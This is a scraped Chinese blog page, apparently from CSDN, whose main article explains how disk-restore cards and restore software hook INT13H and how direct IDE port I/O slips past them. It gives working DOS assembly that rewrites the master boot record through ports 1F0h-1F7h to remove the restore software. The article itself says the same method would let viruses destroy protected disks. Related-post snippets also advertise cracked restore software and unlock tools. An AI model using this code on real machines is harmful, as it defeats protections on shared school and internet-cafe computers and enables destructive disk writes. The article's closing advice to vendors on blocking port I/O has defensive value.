一种可以穿透还原卡和还原软件的代码

ExtJS4 日历控件datefield 解决选择时间一天 ExtJS 4.07  datefield控件没有提供我们选择 时期的时分秒,网上有很多人进行二次封装,可以面板中选择时分秒,需要的不难搜到,这里要解决的是如何选择一天内时间问题:    起始时间:2012-08-31 00:00:00    终止时间:2012-08-30 23:59:59 代码如下: Ext.create('Ext.form.Panel', { ren 阅读详情
 
还原卡和还原软件被广泛运用于各种公共场合的电脑上,比如学校机房和网吧。这些还原卡和还原软件(以下我简称为虚拟还原技术)能够记录下一切对硬盘的写操作,不论您对硬盘进行拷贝还是移动删除甚至是格式化分区等操作,只要一重新启动,一切都会恢复到这个操作之前的情况,因此有些虚拟还原厂商还会在广告词中加上一句“可以防范一切电脑病毒”。这种虚拟还原的方法在大部分时候的确可以对公共机房的电脑起到很好的保护作用,难道真的没有一种方法能够穿透这种保护机制么?答案是否定的,下面请听我一一道来。
一、虚拟还原技术的原理
本文所说的是一种普遍运用于还原卡或还原软件上的技术,当然,不同品牌不同厂商生产的可能不尽相同,但原理却是相通的。
首先,还原卡和还原软件会抢先夺取引导权,将原来的0头0道1扇保存在一个其他的扇区,(具体备份到那个扇区是不一定的),将自己的代码写入0头0道1扇,从而能在操作系统之前得到执行权,这一点类似于一个引导型病毒;然后,我们来看看虚拟还原技术在操作系统之前都做了些什么:
1.将中断向量表中的INT13H的入口地址保存;
2.把自己用于代替INT13H的代码写入内存,并记住入口地址,当然这种“写入内存”并不是普通的“写”,而是一种我们称为“常驻”的方法,有关“常驻程序”的实现方法我们不另外花篇幅来描述了,如果你还不了解的话请自己找有关资料,也可以到www.hackart.org或www.lsky.net找风般的男人交流;
3.将中断向量表中INT13H的入口地址改为这段常驻程序的入口地址。补充一点,虚拟还原程序在修改INT13H的入口后往往都会修改一些其他中断入口,当然也是通过常驻程序来实现的,这些中断用来实现对中断向量表中INT13H入口地址监控,一旦发现被修改,就马上把它改回,这样做同样是用来防止被有心人破解。
好了,你已经看出来了,这段用来替代BIOS提供的INT13H的代码才是虚拟还原技术的关键,那么这段代码到底实现了些什么了,以下是本人对此拙浅的理解:
1.拦截所有INT13H中对硬盘0头0道1扇的操作
这些包括读写操作,把所有的对0头0道1扇的操作改为对虚拟还原程序备份的那个扇区的操作,这样做的目的是保护虚拟还原代码不被破坏,并且不能被有心人读出进行破解,即使你用扇区编辑工具查看主引导区,实际上你看到的是这个备份的主引导区。
2.拦截所有INT13H中的写硬盘操作
这里包括对8G以下的硬盘的普通通过磁头、磁道、扇区定位的INT13H中的写操作,和扩展INT13H中基于扇区地址方式的对大硬盘的写操作,甚至包括扩展INT13H中对一些非IDE接口的硬盘的写操作。
至于拦截后做什么是虚拟还原技术实现的关键,在早期的DOS系统当中完全可以“什么都不做”,也就是说当用户写硬盘时实际上是什么都没做,但现在的操作系统都要对硬盘进行一些必要的写操作,比如对虚拟内存的写操作。众所周知,虚拟内存实际上就是硬盘,而如果禁止操作系统写硬盘的话显然后果是不堪设想的。所以,大多数虚拟还原厂商用的方法是占用一些硬盘空间,把硬盘所进行的写操作做一个记录,等系统重新启动后还原这一记录,但是怎样科学记录硬盘的写操作,是我一直没想通的问题,这种“科学”应该体现在时间上和硬盘空间的占用量上的,也就是说怎么样用最少的时间和最少的硬盘空间来记录硬盘的写操作是实现关键,如果有这方面想法的朋友欢迎和我交流;
3.备份端口70H,71H中的内容,并把最后一次执行时端口70H,71H的内容和备份的内容做比较,不一样就提示BIOS被修改,是否还原,并通过密码验证修改BIOS是否合法。
 
二、PC机的中断机制
中断提供了最基本的硬件和软件的接口,它使得程序员不必了解硬件系统的细节,只要直接调用系统提供的中断服务子程序,就可以完成相应功能,这样能使得程序设计更为方便。其实现机制如下:当某一中断源发出中断请求时,CPU能够决定是否响应这一中断请求(当CPU在执行更为重要的工作时,可以暂不响应),如果允许响应该中断,CPU会在现行的指令执行完后,把断点处的下一条指令地址和各寄存器的内容和标志位的状态,推入堆栈进行保护,然后转到中断源服务程序的入口,进行中断处理,当中断处理完成后,再恢复被保留的各寄存器、标志位状态和指令指针,使CPU返回断点,继续执行下一条指令。
为了区别各个中断,CPC系统给每个中断都分配了一个中断号N,比如INT 3H是断点中断,INT 10H是显示中断,我们今天要讨论的主要是INT 13H磁盘读写中断。
要说清楚PC机上的中断机制,用这一点篇幅是完全不够的,这里我所说的只是一个大概,如果你不清楚的话,请查阅一些资料或和我交流,我们今天重要要说的就是以INT13H为例看看BIOS提供给我们的中断到底都是在做什么?所谓BIOS中断简单说就是你机器上的BIOS提供的中断,那么在BIOS中断的后面,到底是些什么呢?实际上是一些对端口的输入输出操作,PC的每个端口都实现特定的功能,我们完全可以不调用BIOS提供的中断而直接用输入输出指令对这些端口进行操作,从而可以实现象调用BIOS中断一样的功能,但是一个前提是你必须对这些端口有详细的了解。反过来说,PC的中断系统的一大好处就是能够让程序员无须了解系统底层的硬件知识的而能够编程,从这点看,中断有点象我们平时所说的“封装”,我不知道这样说对不对,但的确中断为我们“封装”了许多系统底层的细节。
 
三、硬盘读写端口的具体含义
   对硬盘进行操作的常用端口是1f0h~1f7h号端口,各端口含义如下:
端口号     读还是写   具体含义
1F0H       读/写      用来传送读/写的数据(其内容是正在传输的一个字节的数据)
1F1H       读         用来读取错误码
1F2H       读/写      用来放入要读写的扇区数量
1F3H       读/写      用来放入要读写的扇区号码
1F4H       读/写      用来存放读写柱面的低8位字节
1F5H       读/写      用来存放读写柱面的高2位字节(其高6位恒为0)
1F6H       读/写      用来存放要读/写的磁盘号及磁头号
                     第7位     恒为1
                     第6位     恒为0
                     第5位     恒为1
                     第4位     为0代表第一块硬盘、为1代表第二块硬盘
                     第3~0位    用来存放要读/写的磁头号
1f7H       读         用来存放读操作后的状态
                     第7位     控制器忙碌
                     第6位     磁盘驱动器准备好了
                     第5位     写入错误
                     第4位     搜索完成
                     第3位     为1时扇区缓冲区没有准备好
                     第2位     是否正确读取磁盘数据
                     第1位     磁盘每转一周将此位设为1,
                     第0位     之前的命令因发生错误而结束
          写         该位端口为命令端口,用来发出指定命令
                     为50h     格式化磁道
                     为20h     尝试读取扇区
                     为21h     无须验证扇区是否准备好而直接读扇区
                     为22h     尝试读取长扇区(用于早期的硬盘,每扇可能不是512字节,而是128字节到1024之间的值)
                     为23h     无须验证扇区是否准备好而直接读长扇区
                     为30h     尝试写扇区
                     为31h     无须验证扇区是否准备好而直接写扇区
                     为32h     尝试写长扇区
                     为33h     无须验证扇区是否准备好而直接写长扇区
注:当然看完这个表你会发现,这种读写端口的方法其实是基于磁头、柱面、扇区的硬盘读写方法,不过大于8G的硬盘的读写方法也是通过端口1F0H~1F7H来实现的^_^
 
 
四、一个通过对硬盘输入输出端口操作来读写硬盘的实例
让我们来看一个关于INT13H读写硬盘程序实例。在例子中详细说明了硬盘的读写操作所用到的端口,并且把通过INT13H读出的主引导区得到的数据和通过输入输出读主引导区得到的数据进行比较,从而证实这两种操作功能相同,程序片段如下:
 
mov     dx,1f6h         ; 要读入的磁盘号及磁头号
mov     al,0a0h         ;磁盘0,磁头0  
out      dx,al
 
mov     dx,1f2h         ;要读入的扇区数量
mov     al,1            ;读一个扇区   
out      dx,al
 
mov     dx,1f3h         ;要读的扇区号
mov     al,1            ;扇区号为1
out      dx,al
 
mov     dx,1f4h         ;要读的柱面的低8位
mov     al,0            ; 柱面低8位为0
out     dx,al
 
mov     dx,1f5h         ; 柱面高2位 
mov     al,0            ; 柱面高2位为0(通过1F4H和1F5H端口我们可以确定
; 用来读的柱面号是0)
out      dx,al
 
mov     dx,1f7h         ;命令端口
mov     al,20h          ; 尝试读取扇区
out      dx,al
still_going:
in      al,dx
test     al,8            ;扇区缓冲是否准备好
jz     still_going     ;如果扇区缓冲没有准备好的话则跳转,直到准备好才向下执行。
 
mov     cx,512/2        ;设置循环次数(512/2次)
mov     di,offset buffer
mov     dx,1f0h         ;将要传输的一个字节的数据
rep      insw            ;传输数据
 
;   ------
 
mov     ax,201h         ;以下是用INT13H读硬盘的0磁头、0柱面、1扇区
mov     dx,80h
mov     cx,1
mov     bx,offset buffer2
int       13h
 
mov     cx,512         ;以下部分用来比较2种方法读出的硬盘数据
mov     si,offset buffer
mov     di,offset buffer2
repe     cmpsb
jne      failure
mov     ah,9
mov     dx,offset readmsg
int      21h
jmp     good_exit
failure:
mov     ah,9
mov     dx,offset failmsg
int       21h
good_exit:              ;以下部分用来结束程序
mov      ax,4c00h        ;退出程序
int      21h
 
readmsg db      'The buffers match. Hard disk read using ports.$'
failmsg db      'The buffers do not match.$'
buffer db      512 dup ('V')
buffer2 db      512 dup ('L')
 
五、可以穿透还原卡或是还原软件保护的代码
你可以对照硬盘读写端口含义表,再好好看看上面的例子,你将会对硬盘读写端口有一个比较深的理解。好了,到了该把谜底揭晓的时候了,重新回到我们的主题。正如你现在想象的,这种可以穿透还原卡或是还原软件保护的代码的确是对硬盘读写端口的输入输出操作。现在,我们已经可以从原理上理解了,还原卡拦截的是中断操作,但却拦截不了输入输出操作,而用输入输出操作足够可以对硬盘进行写操作了,当然用输入输出操作也完全可以读到被虚拟还原程序屏蔽的关键部分,被还原卡或是还原软件屏蔽的0头0道1扇。知道了这一原理以后,可能是仁者见仁智者见智的,如果你是一个虚拟还原技术的破解者、一个病毒制造者,或是虚拟还原技术的设计者,往往对此的理解都是不尽相同的。
在此强调我不赞成制造病毒,但一个病毒制造者完全可以用此原理写出一个可以实现破坏装有还原卡或还原软件的机器了,所以我要提醒虚拟还原用户的是,不要以为装有还原卡或是还原软件就掉以轻心,要知道世界上还是有病毒能够穿透虚拟还原技术的保护,达到破坏硬盘的目的的,想象一下如果把这一原理运用到CIH病毒中,或者运用到硬盘杀手病毒中,其后果是不堪设想的。
谈谈如何用这种可以穿透虚拟还原技术的代码来破解还原软件(如还原精灵)吧。以下是我写的用来测试破解还原精灵的代码,本代码编译后的程序需要在纯DOS环境执行,在DOS下我用这段代码成功的把还原精灵给卸载了。
.286
CODE SEGMENT
    ASSUME CS:CODE,DS:code,ES:code
START:
;----------------------------------------------------------
;以下代码用INT13H读主引导区
mov     ax,0201h
mov     dx,0080h
mov     cx,0001h
mov     bx,7c00h
int      13h
;---------------------------------------------------------
;以下代码用I/O端口来写主引导区
mov     dx,1f6h         ; 要读入的磁盘号及磁头号
mov     al,0a0h         ; 磁盘0,磁头0
out      dx,al
 
mov     dx,1f2h         ; 要写的扇区数量
mov     al,1            ; 写一个扇区
out      dx,al
 
mov     dx,1f3h         ;要写的扇区号
mov     al,1            ;写到1扇区
out      dx,al
 
mov     dx,1f4h         ; 要写的柱面的低8位
mov     al,0            ; 低8位为0
out      dx,al
 
mov     dx,1f5h         ; 要写的柱面的高2位
mov     al,0            ; 高2位为0
out      dx,al
 
mov     dx,1f7h         ;命令端口
mov     al,30h          ;尝试着写扇区.
out      dx,al
oogle:
in       al,dx
test      al,8            ;磁盘扇区缓冲是否准备好
jz       oogle
 
mov     cx,512/2        ;设置循环次数(512/2)
mov     si,7c00h
mov     dx,1f0h         ;数据端口,用来存放要发送的数据.
rep      outsw           ;发送数据.
; ------------------------------------------------------------------------------
;退出程序
mov     ah,4ch
int       21
CODE ENDS
    END START
上面的程序非常简单,说明如下:
1、先把被还原精灵备份的原来的主引导区用INT13H读出来,这里虽然是对0头0道1扇进行读操作,但实际上是在读被还原精灵把原来的主引导区备份进去的那个扇区;
2、把读出的原来的主引导区通过输入输出操作写进真正的主引导区,换句话说就是把还原精灵给彻底删除了,此时重新启动你将发现还原精灵已经没有了。
我写了个FORWIN98/NT/XP的卸载还原精灵等软件的程序,大家可到www.lsky.net下载,不过已经有人先我一步了,那就是网吧终结者出的一个清MBR的程序,我试了一下,发现的确有用,我还没有仔细分析该程序,但我敢肯定其原理差不多。那个程序写得不错,不过我认为有一点需要改进,我的硬盘的MBR程序是我自己写的,用来实现多引导操作,当我执行完该清MBR程序后,我的多引导代码就没了,我觉得此程序如果能把核心代码部分改成象我以上的代码,在还原精灵下是把装还原精灵之前的MBR写回到主引导区,即使没装还原精灵的硬盘也只是把主引导区写回主引导区,就没有任何的危险了。
用以上的方法要实现还原卡的破解可能是不行的,因为还原卡毕竟是硬件,它可以先于硬盘引导前执行,这样即使你写回了硬盘的主引导区,还原卡还是可以把它写回的,但是,在破解还原卡的时候,完全可以利用文章中的原理,把还原卡写入硬盘主引导区的真正代码读出进行分析,甚至有些还原卡的密码就在这个扇区中。
   对于还原卡和还原软件的制造者来说,如何让您制造的还原卡或还原软件更安全,可能是一个需要思考的问题。真心希望以后的还原卡或是还原软件在拦截INT13H的同时也能拦截硬盘I/O操作。
在我安装还原精灵的时候看到一个选项是“防止硬盘I/O破坏”,开始还以为还原精灵在这方面做的不错,想到了从拦截I/O操作来保护硬盘。可惜我错了,即使选择这一个选项,也同样可以通过输入输出端口操作来写硬盘。对于掌握了这种技术的人来说,这种还原卡或是还原软件可以说是形同虚设。因此我认为,还原卡和还原软件不但要实现拦截所有硬盘写操作、拦截对主引导区的读写操作,更应该拦截对硬盘的读写端口的操作,只有这样的虚拟还原技术才可能使基于硬盘的读写端口操作所对硬盘的破坏或是对虚拟还原技术的破解变成不可能。

 
extjs年月日时分选择控件_Extjs4 扩展支持日历选择时间 最近在做一个case的时候,客户要求能在选择年月日,时分秒在一个面板中选择;客户端JS框架使用的是extjs4.2。我们知道,ExtJs4.2的Ext.picker.Date只能选择年月日,网上有部分实现,但大多数的都是基于ExtJs3修改的,而且过多的破坏了ExtJs的编写习惯。现将我写的跟大家分享下,代码中有相关注释,目前还不支持minValuemaxValue设置。顺便提下,官方示例中的时... 阅读详情

相关推荐

ExtJS时间扩展控件(显示年月日时分秒)

效果如下: Ext.ux.DateTime.js /** * @author baiyang * @date 2013-04-10 23:28:02 */ Ext.define('Ext.ux.form.TimePickerField', { extend : 'Ext.form.field.Base', alias : 'widget.timepicker', alter

baiyangliu 7991

三茗闪电恢复(破解版) 开机快速还原

三茗闪电恢复破解版,开机3秒还原 三茗闪电恢复(破解版) 开机快速还原

三茗V8.3.5

三茗EDU还原卡与网络管理系统V8.3.5,可以正常使用.三茗EDU还原卡与网络管理系统V8.3.5,可以正常使用.

三茗一键恢复 V3.0.0 Build 060311 完美破解

三茗《一键恢复》是一款针对用户计算机提供基础备份快速备份两个备份点的系统拯救软件。当用户安装本软件产品后,由于系统崩溃、黑客侵袭、病毒感染、数据丢失、配置变更、错误操作等问题导致的电脑故障,可以在不占用固定硬盘空间不影响系统性能的前提下,数秒钟内(一般1-5秒)进行全面恢复。 1、 基于BIOS平台的计算机系统与数据快速恢复系统 本产品是位于操作系统之下的BIOS层面,完全独立于计算机的操作系统文件系统。即便是操作系统完全崩溃;本产品也可以在几秒钟内快速恢复。 2、 不占用固定硬盘空间 本产品基于自主发明专利技术,通过空闲磁盘空间构成的动态缓冲区,配合高效的专利硬盘映射算法,在不占用固定磁盘空间,不影响系统性能的前提下,实现系统的动态保护与瞬间恢复功能; 3、 两个备份点 基础备份点快速备份点。一般建议用户装完系统及应用软件后,创建基础备份点。快速备份点是用户在基础备份状态后系统发生改变所做的备份点,不需要重新启动机器,真正帮助用户实现了对所用系统的即时存储。 4、 支持各种主流操作系统 产品使用范围广,可支持Windows XP /Vista操作系统。 5、 支持FAT16、FAT32、NTFS等文件格式 针对FAT、NTFS等常用的文件系统,实现了实时保护与瞬间恢复功能。 6、 用户密码保护 允许用户设置管理员密码保护,系统安全性更强。 7、纯软件设计 与硬件产品比较,不仅产品的适用范围可以进一步扩大到笔记本电脑,而且避免了硬件冲突的可能,使产品的安装更加方便灵活。 8、 安装、使用、卸载都不影响原有数据 采用独创的专利算法,基于BIOS层对硬盘进行物理扇区级的虚拟化,安装、使用、卸载本产品时均不会对原有数据进行更改,实现全透明保护。 压缩包内有 三茗一键恢复 V3.0.0 Build 060311 完美破解版 三茗一键恢复免网络认证版

(转)一种可以穿透还原卡还原软件代码

一种可以穿透还原卡还原软件代码 一种可以穿透还原卡还原软件代码 CVC/GB 风般的男人 还原卡还原软件被广泛运用于各种公共场合的电脑上,比如学校机房网吧。这些还原卡还原软件(以下我简称为虚拟还原技术)能够记录下一切对硬盘的写操作,不论您对硬盘进行拷贝还是移动删除甚至是格式化分区等操作,只要一重新启动,一切都会恢复到这个操作之前的情况,因此有些虚拟还原厂商还会在广告词中加上一句“可以

烟斗葛格 1925

详解如何穿透还原

mov cx,512/2 ;设置循环次数(512/2) mov si,7c00h mov dx,1f0h ;数据端口,用来存放要发送的数据. rep outsw ;发送数据. ; ------------------------------------------------------------------------------ ;退出程序 mov ah,4ch

|独自望海。。。 1428

EXTJS日期时间选择控件(精确到秒)

EXTJS日期时间选择控件(精确到秒) 博客分类:  工作日志 ExtJsJSjavajsphtml  一。一些废话 近日来,有几个项目用到了EXTJS作为Web前端。也看到了一些童鞋苦苦在网上寻觅可以选择时间的控件,由于EXTJS版本差异较大,利用官方3.2的Demo制作了一个可以选择到秒的时间控件,该控件只能够用于ExtJs2.2以上的版本。经过测试ExtJs

evilcry2012的专栏 8945

ExtJs日期时间选择控件(精确到秒)

一。一些废话 近日来,有几个项目用到了EXTJS作为Web前端。也看到了一些童鞋苦苦在网上寻觅可以选择时间的控件,由于EXTJS版本差异较大,利用官方3.2的Demo制作了一个可以选择到秒的时间控件,该控件只能够用于ExtJs2.2以上的版本。经过测试ExtJs2.02版本不适用该控件,如果你还在使用2.02这个版本或者更老,请绕道。废话不说了,看代码: 二。文件明细: Spinner.js

xul2009的专栏 1336

extjs 月份选择控件_ExtJs日期时间选择控件(精确到秒)

一。一些废话近日来,有几个项目用到了EXTJS作为Web前端。也看到了一些童鞋苦苦在网上寻觅可以选择时间的控件,由于EXTJS版本差异较大,利用官方3.2的Demo制作了一个可以选择到秒的时间控件,该控件只能够用于ExtJs2.2以上的版本。经过测试ExtJs2.02版本不适用该控件,如果你还在使用2.02这个版本或者更老,请绕道。废话不说了,看代码:二。文件明细:Spinner.jsSpinne...

weixin_39581719的博客 362

extjs年月日时分选择控件_EXTJS日期时间选择控件(精确到秒)

//命名空间归属Ext.ns('Ext.ux.form');//在该命名空间内,开辟一个名为TimePickerField的区域,我们可以当他是一个时间选择器Ext.ux.form.TimePickerField=function(config){//调用构造方法,也就是说定义了他的所属--this//this指的是什么呢?这里需要注意,首先这个东东属于这个类(对象),其次这个类(对象...

weixin_29486805的博客 1390

三茗edu8.3版底层驱动

联想的edu原本就是三茗做的。这是三茗自己的edu,可以用在其他不带保护卡的电脑上,属于软保护

还原卡解锁工具

三款用于破解校园 企业的硬盘保护系统的工具 慎用

三茗还原卡驱动

三茗还原卡驱动V3.3、V4.0(60522)

ExtJS08:时间控件Cls.form.DateTimeField

1.时间控件:年月日 时分秒 new Cls.form.DateTimeField({ fieldLabel : '故障时间', format : 'Y-m-d H:i:s', name : 'shBugReport.bugTime', anchor : '100%', value : new Date(), editable : false }) 2.时间控件:时分秒

957

EXT--日期时间选择控件(精确到秒)

 开发者博客:www.developsearch.com   一。一些废话近日来,有几个项目用到了EXTJS作为Web前端。也看到了一些童鞋苦苦在网上寻觅可以选择时间的控件,由于EXTJS版本差异较大,利用官方3.2的Demo制作了一个可以选择到秒的时间控件,该控件只能够用于ExtJs2.2以上的版本。经过测试ExtJs2.02版本不适用该控件,如果你还在使用2.02这个版本或者更老,请绕...

开发者博客 765

网页开发中,精确定位ExtJs控件的位置的方法。

在项目开发的过程中,一直使用ExtJs进行网页界面的编程,并且已经开发出了一个比较稳定的开发框架来建设信息管理系统的项目。开发的成长过程中我感觉到不管使用什么开发语言,什么架构,面临的最大问题是如果使用这些“工具”来解决项目中常见的问题。不知是不是人长大了,了解的东西虽然越来越多,但是细节的东西到用的时候却是记得不太清楚,因此打算从今天开始把项目中的一些解决问题的过程学习过程详细记录下来,以便今

民工 1万+
上一篇: 用C#实现C/S模式下软件自动在线升级
下一篇: 驱动感染技术,可写穿透还原软件的病毒的技术
rainbowsoftware
博客等级 码龄20年 21粉丝 19原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值